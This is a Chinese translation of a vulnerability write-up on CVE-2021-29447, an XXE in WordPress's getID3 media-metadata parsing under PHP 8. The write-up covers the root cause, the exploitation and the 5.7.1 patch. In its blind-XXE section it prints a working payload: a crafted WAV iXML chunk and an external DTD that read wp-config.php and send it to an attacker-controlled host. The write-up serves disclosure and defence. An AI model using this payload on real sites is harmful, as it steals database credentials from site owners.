WordPress 5.7 XXE Vulnerability---翻译自seebug

WordPress 5.7 XXE Vulnerability


在SonarSource,我们持续改进我们的代码分析工具和安全规则。我们最近改善了我们的安全引擎去嗅探更多了OWASP Top 10和CWE Top 25安全问题类型。当我们通过我们的新的分析工具去测试一些最受欢迎的PHP开源项目的时候,我们发现了关于WordPress 平台一些有趣的问题。
WordPress是世界上最受欢迎的内容管理系统,几乎全世界40%网站都在使用它。广泛的适用性导致了它成为了网络犯罪的*目标。它的代码被安全社区与漏洞赏金猎人反复地审计以获得关于安全问题报告的高额赏金。关键代码问题很少能逃过他们的眼睛。
在这片博客中我们讨论我们的分析器关于它新的漏洞报告。我们将探讨该漏洞基于PHP8产生的根本原因,并且展示攻击者如何利用它来破环wordpress的安装安全。我们负责任地向wordpress安全团队披露了这个漏洞,并且他们已经在最新的5.7.1版本中修复了这个问题并且分配了编号CVE-2021-29447。

影响

这个漏洞是一个授权的XXE漏洞。它影响wordpress 5.7.1之前的几乎所有版本,并且攻击者可以远程控制它。

  • 任意文件下载:在这台主机文件系统上的任意文件都将可以被检索到。例如,包含了数据库认证信息-的敏感文件wp.config.php。
  • SSRF:在安装wordpress的时候可能导致ssrf。根据环境的不同,它可能导致严重的后果。

这个漏洞只能在PHP8的环境中被利用。除此之外,需要上传媒体文件的权限。在一个标准的wordpress安装过程中,这个问题只有软件的所有者才能使用。但是集合一些其他的漏洞或者有一个插件允许访问或者上传媒体文件。他将可以被低权限的用户利用。
wordpress在4月14日发行了一个security&maintenance update为他们的app打了补丁来保护他们的用户。

技术细节

在这个部分我们将近距离探讨这个漏洞的技术细节。首先我们简要地讨论一下什么是XXE。接着,我们通过我们分析器的漏洞报告定位到问题代码行深入地分析该漏洞,并且讨论为什么这个漏洞在该问题代码行中已经有防护措施的情况下还会出现在PHP8的环境中。最后我们来展示攻击者如何利用精心编写的输入提取wp-config.php的源码,以及如何修复这个漏洞。

XXE

XML提供了外部自定义实体通过文档被复用的可能性。例如,被用于避免重复。下面的代码定义了一个实体myEntity以供远程调用。

<!DOCTYPE myDoc [ <!ENTITY myEntity "a long value" > ]>
<myDoc>
    <foo>&myEntity;</foo>
    <bar>&myEntity;</bar>
</myDoc>

这个实体定义的值也可以通过urI被从外部调用。这种情况下,我们称其为外部实体。

<!DOCTYPE myDoc [ <!ENTITY myExternalEntity SYSTEM "http://…..com/value.txt" > ]>
<myDoc>
    <foo>&myExternalEntity;</foo>
<myDoc>

XXE攻击者利用了这个特性。这在一些用户可以控制输入内容的松散的XML解析器中是可能的。松散的配置通常意味着,所有的实体的都将在他们的网页中存在输出。例如,在上一个例子中,如果用户输入file:///var/www/wp-config.php 作为一个URL并且XML解析器能回显解析的结果,它将成功地泄露敏感信息。然而XML的解析结果不总是被回显给用户,这种情况就是我们在这篇文章中将要描述的漏洞。正如我们待会儿将会看到的,我们仍然有办法应付这种情况。
这是XXE背后的主要理念和机制。除了敏感文件泄露之外,XXE也有一些其他的影响。如服务端请求伪造和拒绝服务。

WordPress中的XXE

wordpress有一个媒体库使得通过身份认证的用户可以上传文件,这些文件将在文章中的帖子中被使用。从这些文件中提取meta信息。如:艺术家姓名或者名称wordpress使用的getID3库等。一部分元数据将通过XML的格式解析。在这里我们的分析器报告了一个可能的XXE漏洞。
wp-includes/ID3/getid3.lib.php

723    if (PHP_VERSION_ID < 80000) {
724
725        // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
726        // disabled by default, so this function is no longer needed to protect against XXE attacks.
728       $loader = libxml_disable_entity_loader(true);
729    }
730    $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);

simplexml_load_string()函数是一个PHP函数,它通过他的第一个参数进行XML解析。它可以通过传入的第三个参数配置底层XML解析器。
注释中的内容非常有意思,因为它表示,通过这个函数,他们对XXE漏洞做了一些防护。审计他们我们发现这一静态代码分析器可能导致一些问题,这是一个错误的主动防护。他们真的已经采取了正确的措施来避免漏洞吗?
为了更好地理解代码及周围的注释,去查看它的历史版本是很有必要地。一个XXE漏洞被在wordpress 3.9.2中被披露了出来。这是libxml_disable_entity_loader(true)出现在这儿的主要原因。PHP函数libxml_disable_entity_loader()将XML的解析器配置为禁止外部实体加载。
最近随着PHP8的发行。PHP8对这段代码的兼容性很差,这个函数只能运行在PHP8以前的版本中。在PHP8中这个函数已经被废弃了,因为新版本中使用libxml2 v2.9+,在这个版本的xml库中默认禁用外部实体调用。
现在,我们正在讨论的这段代码中的微妙之处在于,simplexml_load_string是不会调用默认配置的。即使这个名称是不被建议使用的,标志位LIBXML_NOENT能置换实体。在这个例子中NOENT意味着在结果中将没有实体会被丢弃。并且因此外部实体将被调用并被置换。因此,在wordpress 3.9.2中披露的XXE漏洞在又将在PHP8中死灰复燃。

利用

为了描述这个漏洞的利用方式,理解用户控制的数据是如何抵达XML解析器并作为XML变量的一部分是很有必要的。
wp-includes/ID3/getid3.lib.php

721    public static function XML2array($XMLstring) {
…
730    $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);

当媒体文件被上传的时候wordpress使用getID3去缓解程序对元数据的提取。通过对getID3库的研究发现,字符串在该点是被作为一个波形文件的ixml块的元数据进行解释的。

wp-includes/ID3/module.audio-video.riff.php

426    if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {
427     // requires functions simplexml_load_string and get_object_vars
428    if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {

wordpress允许上传音频文件,并且通过wp_read_audio_metadata()函数来提取它的元数据。因此,通过上传一个精心编写的波形文件,恶意的xml代码就会被注入与执行。一个最小的文件应该包含使其能被作为一个音频文件解析的最小结构并且包含在ixml文本块中包含又一个攻击payload的文件可以被创建,需包含以下内容:

RIFFXXXXWAVEBBBBiXML_OUR_PAYLOAD_

(BBBB代表XMLpayload按照小端字节序编码的长度)

盲注XXE

当一个攻击者通过上文描述的攻击策略注入一个payload的时候,解析后的XML结果并不会显示在用户界面。因此,为了提取敏感文件的内容,攻击者必须依赖于盲注技术。这与之前描述shopware的博客中的做法是一样的。基本的思路是这样的。

  • 首先,创建一个外部实体其值为需要读取的文件的内容
  • 其次,创建另一个外部实体,将其urI设置为“http://attacker_domain.com/%data”。注意%data的值将被第一个外部实体的值替换。
  • 当解析第二个外部实体的值的时候,将发起这样的请求“http://attacker_domain.com/_SUBSTITUTED_data”,我们将在我们的web服务器中的日志中找打它。

创建第二个外部实体的urI依赖于第一个外部实体的值,这里我们使用参数实体或者外部DTD。除此之外我们还将使用php://流封装压缩编码文件内容。做完这些之后,下面的代码将是我们获取到wp_config.php中的内容:
payload.wav

RIFFXXXXWAVEBBBBiXML<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://attacker-url.domain/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>>

xxe.dtd

<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker-url.domain/?%data;'>">

补丁

wordpress 5.7.1通过重新调用libxml_disable_entity_loader()函数来修复这个漏洞,这种方法在PHP8中已经过时了。为了避免PHP弹出警告,可以使用错误抑制符。
wp-includes/ID3/getid3.lib.php

721    public static function XML2array($XMLstring) {…727      $loader = @libxml_disable_entity_loader(true);728      $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);

另外一个调用已启用函数的方法是使用PHP中的libxml_set_external_entity_loader()函数。这也是PHP官方推荐的方法,它还允许更精准地控制外部实体装载情况下需要加载特定资源地可能性。当然这仅仅是必须地,如果真的需要在PHP8中使用实体替换的话。

上一篇:2021-05-28 部署wordpress


下一篇:在虚拟机中用Docker容器搭建wordpress